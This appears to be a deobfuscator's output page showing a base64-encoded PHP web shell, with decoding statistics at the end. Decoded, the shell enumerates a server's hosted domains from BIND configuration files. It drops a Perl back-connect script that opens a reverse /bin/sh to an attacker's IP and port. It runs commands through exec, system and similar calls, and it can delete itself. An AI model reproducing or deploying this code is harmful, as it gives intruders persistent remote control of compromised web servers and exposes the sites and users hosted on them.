ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWxpbWU+PC9mb250Pjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L2Rpdj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX2Nsb3NlKCRjb25uKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJjb2xvcjogd2hpdGU7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEwMCU7Ij4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydkb21haW5zJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvcyA9ICd3aW4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvcyA9ICduaXgnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3MgPT0gJ3dpbicpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiB3aGl0ZTsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjAwJTsiPk9vb3BwcHNzIFdpbmRvd3MgU2VydmVyIDpQPGJyPllvdSBCZXR0ZXIgRmluZCBMaW51eCBIYWhhIDpQIDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+PD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IEBpbXBsb2RlKEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICREb21haW5fcGF0aCA9ICIvdmFyL25hbWVkIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZG9tYWlucyA9IHNjYW5kaXIoJERvbWFpbl9wYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvdW50PTE7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYyA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkIGNvbHNwYW49Mj48Y2VudGVyPlRoZXJlIGFyZSA6ICggPGI+IiAuIGNvdW50KCRkb21haW5zKSAuICI8L2I+ICkgRG9tYWlucyBpbiB0aGlzIFNldmVyLjwvY2VudGVyPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD5ObzwvdGQ+PHRkPkRvbWFpbnM8L3RkPjx0ZD5Vc2VyPC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb21haW5zIGFzICYkZG9tYWluKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkZG9tYWluLCIuZGIiKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkb21haW4pID4gNikgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD48YSBocmVmPSdodHRwOi8vIi4kZG9tYWluLiInIHRhcmdldD0nX2JsYW5rJz4iLidodHRwOi8vJy4kZG9tYWluLicvaW5kZXgucGhwJy4iPC9hPjwvdGQ+PHRkPjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvdW50ID0gMTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoIiNuYW1lZC8oLio/KS5kYiMiLCAkZmlsZSwgJHIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZG9tYWlucyA9IGFycmF5X3VuaXF1ZSgkclsxXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgd2lkdGg9NTklIGNlbGxwYWRkaW5nPTU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj48dGQgY29sc3Bhbj0yPiBUaGVyZSBhcmUgICggPGI+IiAuIGNvdW50KCRkb21haW5zKSAuICI8L2I+ICkgRG9tYWlucyBpbiB0aGlzIFNldmVyLkkgdGhpbmsgeW91IGhhdmUgZ290IHNvbWV0aGluZyB0aGlzIHRpbWUgeWVhaCEhIS48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj48dGQ+RG9tYWlucyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb21haW5zIGFzICRkb21haW4pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIgLiAkZG9tYWluKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+PGEgaHJlZj0naHR0cDovLyIuJGRvbWFpbi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4naHR0cDovLycuJGRvbWFpbi4nL2luZGV4LnBocCcuIjwvYT48L3RkPjx0ZD48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydiYWNrX2Nvbm5lY3RlciddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48YnI+PGJyPjxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYmNwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIiBtZXRob2Q9J1BPU1QnPjxzcGFuIHN0eWxlPSdmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAyMDAlOyBjb2xvcjogd2hpdGU7Jz5CYWNrLUNvbm5lY3RlciBWaWEgUGVybDwvc3Bhbj48YnIvPjxicj5Zb3VyIElwOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPjxicj48YnI+IFBvcnQgdG8gYmluZDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPScxMTAnPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9J2JhY2tjb25uZWN0JyB2YWx1ZT0nU3VibWl0Jz48L2Zvcm0+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm5lY3QnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjZigkZiwkdCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHcgPSBAZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHcpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB0ZXJtdXhoYWNreigkaW4pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZXhlYygkaW4sJG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHBhc3N0aHJ1KCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAc3lzdGVtKCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gc2hlbGxfZXhlYygkaW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCFAZmVvZigkZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwY2xvc2UoJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJG91dDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsnYmFja2Nvbm5lY3QnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSB0ZXJtdXhoYWNreigicGVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydzZXJ2ZXInXS4iICIuJF9QT1NUWydwb3J0J10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHNsZWVwKDEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuIHRlcm11eGhhY2t6KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIi90bXAvYmMucGwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2RpZSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPjxjZW50ZXI+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJjb2xvcjogcmVkOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAyMDAlOyI+WW91IFN1cmUgPzwvZm9udD48YnI+PGJyPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImZ1Y2tvZmYiIHZhbHVlPSJZZXMiIC8+Jm5ic3A7Jm5ic3A8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJkb250ZnVja29mZiIgdmFsdWU9Ik5vIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydmdWNrb2ZmJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGllKCc8Zm9udCBzdHlsZT0iY29sb3I6IHJlZDsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjAwJTsiPjxicj48YnI+WW91IDxzcGFuIHN0eWxlPSJjb2xvcjogdGVhbDsiPkRlbGV0ZWQ8L3NwYW4+IE1lIDozIDxicj4gTm93IDxzcGFuIHN0eWxlPSJjb2xvcjogbGF3bmdyZWVuOyI+RnVjayA8L3NwYW4+T2ZmIE91dHRhIGhlcmU6Vjxicj4nKTt9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnZG9udGZ1Y2tvZmYnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iNiI7Pjxicj48YnI+Q2FuY2VsbGVkISEhPGJyPjxicj48L2ZvbnQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICAJPD9waHANCiAgICAgICAgICAgICAgICAJZWNobyAnDQogICAgICAgICAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgICAgIC5yb3RhdGUgew0KICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uOiByb3RhdGlvbiA4cyBpbmZpbml0ZSBsaW5lYXI7DQogICAgICAgICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIEBrZXlmcmFtZXMgcm90YXRpb24gew0KICAgICAgICAgICAgICAgICAgZnJvbSB7DQogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKDBkZWcpOw0KICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgdG8gew0KICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgzNTlkZWcpOw0KICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmb290ZXIgew0KICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IDFweDsNCiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7fSANCiAgICAgICAgICAgICAgICA8L3N0eWxlPg0KICAgICAgICAgICAgICAgICc7DQogICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICA8Zm9vdGVyPg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgZWNobyAnPGNlbnRlcj4nOw0KICAgICAgICAgICAgICAgICRmb290ZXJzID0gJ1BIQStQRzFoY25GMVpXVWdZMnhoYzNNOUlteGxkSFJsY2lJZ2QybGtkR2c5SWpnd0pTSStmRUZPVDA1WlRVbE9TRUZEU3pWOElDb2dmRlpGVGxWVFgwaEJXRTlTZkNBcUlIeEJUazlPVkVWTlNWUkJXVTk4SUNvZ2ZGTlFTVVJGVW53Z0tpQjhSRE5EVWxsUVZFOVNmRHd2YldGeWNYVmxaVDQ4TDNBK0lBPT0nOw0KICAgICAgICAgICAgICAgIGVjaG8gYmFzZTY0X2RlY29kZSgkZm9vdGVycyk7DQogICAgICAgICAgICAgICAgZWNobyAnPC9jZW50ZXI+JzsNCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDwhLS0NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICRyb3RhdGluZyA9ICdJQ0E4YVcxbklITnlZejBpYUhSMGNITTZMeTlwYVd4cExtbHZMMWx3Y1hwWFp5NXdibWNpSUdOc1lYTnpQU0p5YjNSaGRHVWlJSGRwWkhSb1BTSXhNREFpSUdobGFXZG9kRDBpTVRBd0lpOCsnOw0KICAgICAgICAgICAgICAgIGVjaG8gYmFzZTY0X2RlY29kZSgkcm90YXRpbmcpOw0KICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAJLS0+DQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICBlY2hvICc8Y2VudGVyPic7DQogICAgICAgICAgICAgICAgJHNlbWlfY2lyY2xlID0gJ1BHUnBkaUJqYkdGemN6MGljMlZ0YVMxamFYSmpiR1VpUGp4aWNqNVVhSE14TXpNMUlEeGljajVXWlhKemFXOXVPanhtYjI1MElHTnZiRzl5UFNKeVpXUWlQakV1TUR3dlptOXVkRDQ4TDJScGRqND0nOw0KICAgICAgICAgICAgICAgIGVjaG8gYmFzZTY0X2RlY29kZSgkc2VtaV9jaXJjbGUpOw0KICAgICAgICAgICAgICAgIGVjaG8gJzwvY2VudGVyPic7DQogICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgPC9mb290ZXI+DQoNCiAgICAgICAgPC9ib2R5Pg0KPC9odG1sPjwhLS1bdHBzaXplPTddWy90cHNpemVdIC0tPg0K")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 50e2b06d3bf023c0065ad595ebdbcf0d
Eval Count 1
Decode Time 387 ms